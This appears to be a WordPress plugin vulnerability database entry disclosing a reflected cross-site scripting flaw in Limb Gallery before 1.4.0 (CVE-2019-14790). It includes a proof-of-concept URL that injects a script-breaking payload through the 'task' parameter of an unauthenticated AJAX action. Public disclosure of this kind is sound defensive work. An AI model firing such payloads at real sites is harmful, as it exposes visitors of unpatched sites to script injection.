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How it worksPricing
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WordPress Plugin Vulnerabilities

Limb Gallery < 1.4.0 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the task parameter before outputing back in a JavaScript context via the grsGalleryAjax AJAx action 9available to both unauthenticated and authenticated users), leading to a reflected cross-Site Scripting

Proof of Concept

https://example.comwp-admin/admin-ajax.php?action=grsGalleryAjax&grsAction=shortcode&task=</script><img src onerror=alert(`XSS`)> 

Affects Plugins

limb-gallery
No known fix

References

CVE
CVE-2019-14790

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Verified

Yes

WPVDB ID
1029601d-3083-41d8-962c-d2067eab4b5b

Timeline

Publicly Published

2019-06-26 (about 3 years ago)

Added

2019-08-20 (about 3 years ago)

Last Updated

2022-03-05 (about 1 years ago)

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